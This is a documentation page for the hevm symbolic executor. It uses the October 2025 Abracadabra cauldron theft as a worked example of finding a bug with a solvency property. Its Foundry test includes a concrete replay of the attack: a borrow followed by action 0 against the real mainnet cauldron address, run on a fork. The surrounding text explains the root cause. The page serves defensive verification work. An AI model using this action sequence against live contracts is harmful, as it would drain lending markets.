Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Example: Abracadabra cook() Exploit

On 4 October 2025 an attacker borrowed about 1.79 million MIM (about $1.8M) from six Abracadabra lending markets ("cauldrons") without putting up any collateral. This page shows how a developer could have found that bug with hevm before deploying, by checking one property: whatever a user does through the cauldron's cook() function, they end up solvent. It also describes how we built the demo from the public record of the attack, so the same steps can be reused for other incidents.

As in the Truebit example, hevm runs on the deployed bytecode, with state fetched over RPC from the block before the attack.

The Bug

A cauldron lends MIM against collateral. Its cook() function runs a list of actions in one call, each identified by a number: 5 borrows, 10 adds collateral, and so on. Actions that can leave the caller undercollateralized, such as borrowing, set a flag, and after the last action cook() checks that the caller is solvent if the flag is set:

CookStatus memory status;
for (uint256 i = 0; i < actions.length; i++) {
    uint8 action = actions[i];
    ...
    } else if (action == ACTION_BORROW) {
        (int256 amount, address to) = abi.decode(datas[i], (int256, address));
        (value1, value2) = _borrow(to, _num(amount, value1, value2));
        status.needsSolvencyCheck = true;
    } else if ...
    } else {
        (bytes memory returnData, uint8 returnValues, CookStatus memory returnStatus) =
            _additionalCookAction(action, status, values[i], datas[i], value1, value2);
        status = returnStatus;
        ...
    }
}

if (status.needsSolvencyCheck) {
    (, uint256 _exchangeRate) = updateExchangeRate();
    require(_isSolvent(msg.sender, _exchangeRate), "Cauldron: user insolvent");
}

Any action number without a branch of its own goes to _additionalCookAction, a hook for derived contracts. In these cauldrons its body is empty, so it returns a zeroed CookStatus, and status = returnStatus clears the flag. The attacker called cook with actions [5, 0]: borrow, then the unknown action 0, which skips the solvency check.

The Property

The developers' intent is easy to state without knowing the bug: after any call to cook, the caller is solvent. To check it, the test calls cook with two actions whose numbers are symbolic, so hevm considers every pair, and with a symbolic amount in the data of each action.

Running It

You need Foundry, hevm, and the URL of an Ethereum mainnet archive node in ETH_RPC_URL.

forge init --no-git abracadabra
cd abracadabra

Save as test/Abracadabra.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test} from "forge-std/Test.sol";

interface ICauldron {
    function cook(uint8[] calldata actions, uint256[] calldata values, bytes[] calldata datas)
        external payable returns (uint256 value1, uint256 value2);
    function isSolvent(address user) external view returns (bool);
    function userBorrowPart(address user) external view returns (uint256);
    function userCollateralShare(address user) external view returns (uint256);
}

contract AbracadabraTest is Test {
    ICauldron constant CAULDRON = ICauldron(0x46f54d434063e5F1a2b2CC6d9AAa657b1B9ff82c);

    function cookTwo(uint8 a0, uint8 a1, int256 amount) internal {
        uint8[] memory actions = new uint8[](2);
        actions[0] = a0;
        actions[1] = a1;
        uint256[] memory values = new uint256[](2);
        bytes[] memory datas = new bytes[](2);
        datas[0] = abi.encode(amount, address(this));
        datas[1] = abi.encode(amount, address(this));
        CAULDRON.cook(actions, values, datas);
    }

    // borrow, then the unknown action 0 clears the solvency check
    function prove_replay_exploit() public {
        assertEq(CAULDRON.userCollateralShare(address(this)), 0);
        cookTwo(5, 0, 1000 ether);
        assertGt(CAULDRON.userBorrowPart(address(this)), 0);
        assertFalse(CAULDRON.isSolvent(address(this)));
    }

    function prove_cook_keeps_solvent(uint8 a0, uint8 a1, int256 amount) public {
        cookTwo(a0, a1, amount);
        assertTrue(CAULDRON.isSolvent(address(this)));
    }
}

Each action gets the data a borrow expects, an amount and a recipient. Other actions decode the same bytes in their own way, or revert.

forge build --ast

Replaying the Attack

$ hevm test --root . --rpc "$ETH_RPC_URL" --number 23504545 --match prove_replay_exploit
Checking 1 function(s) in contract test/Abracadabra.t.sol:AbracadabraTest
[RUNNING] prove_replay_exploit()
   [PASS] prove_replay_exploit

At block 23504545, the block before the attack, a contract with no collateral could borrow 1000 MIM and end up insolvent.

Finding the Attack

$ hevm test --root . --rpc "$ETH_RPC_URL" --number 23504545 --match prove_cook_keeps_solvent
Checking 1 function(s) in contract test/Abracadabra.t.sol:AbracadabraTest
[RUNNING] prove_cook_keeps_solvent(uint8,uint8,int256)
   Counterexample:   [validated]
     calldata: prove_cook_keeps_solvent(5,0,1)
     result:   Revert: Error("assertion failed")
   [FAIL] prove_cook_keeps_solvent
   Stopped at the first counterexample, --no-early-abort finds all of them

This takes under 10 seconds. hevm found the attack: borrow (action 5), then action 0. The amount is 1 wei, which shows that the amount does not matter. [validated] means that hevm reran the test with these inputs against the same state, and the assertion failed again.

hevm stops at the first counterexample. With --no-early-abort it explores every path, which here takes about 17 minutes: a few rounding-heavy solver queries need the full --smt-timeout.

What hevm Did

  • With both action numbers symbolic, every if in cook() is a branch, and hevm explores each sequence of two actions it can take, several hundred paths.
  • For each branch it asks the SMT solver which sides are possible. Some actions convert amounts between shares and debt with several roundings, which the solver cannot always decide quickly. Those queries are cut off after --smt-branch-timeout (20 seconds by default) and hevm explores both sides.
  • Paths that reach the solvency check call the cauldron's oracle, which runs a loop of up to 255 steps over fetched state. Its condition is concrete, so hevm runs it to the end.
  • At the end of each path, hevm asks the solver whether the caller can be insolvent, and finds that after [5, 0] they can. It then stops the other paths and their solver queries.

How We Built This Demo

  1. Find the attack. Public analyses gave the attack transaction, 0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6. eth_getTransactionByHash gave its block, 23504546, and showed that the attack ran in a contract's constructor. The logs from eth_getTransactionReceipt named the six cauldrons and showed a borrow from each. Free RPC plans often lack debug_traceTransaction, but the logs are usually enough.
  2. Find the code. eth_getCode on a cauldron returned 45 bytes: an EIP-1167 minimal proxy that delegates to a master contract, 0x5e70f7acb8ec0231c00220d11c74dc2b23187103. Its verified source, from Sourcify, contains the cook() function above. hevm itself needs only the bytecode, but the source tells us what to check.
  3. Write the property. Rather than replaying the attacker's calls, state what must always hold and leave the attacker's choices symbolic: here, the action numbers and the amount.
  4. Replay first. A concrete test of the known attack checks the fork setup (block, addresses, interfaces) before the long symbolic run.
  5. Read the warnings. Our first symbolic runs found the attack but took over 40 minutes, and reported paths cut short at "Max iterations reached" in two contracts we did not call directly. The progress log (--progress-log FILE) showed the time going into branch queries that hit the 300 second solver timeout. The bytecode of the contracts with the cut paths showed a loop of up to 255 steps, the oracle's pricing loop. Both led to changes in hevm: branch queries got their own, shorter timeout, and loops with concrete conditions their own, higher limit. The counterexample then came within a minute, but the run went on for 17 more, so hevm now stops at the first counterexample by default.

Tips

  • Keep the number of symbolic actions small. Each one multiplies the paths by the number of actions cook() knows; two are enough for this bug.
  • If a run is slow, --progress-log FILE shows where the solver time goes, and --dump-unsolved DIR saves the queries it could not answer.
  • "Max iterations reached" in a contract you did not expect to loop is worth a look: --max-iterations bounds loops with symbolic conditions, and --max-concrete-iterations the others.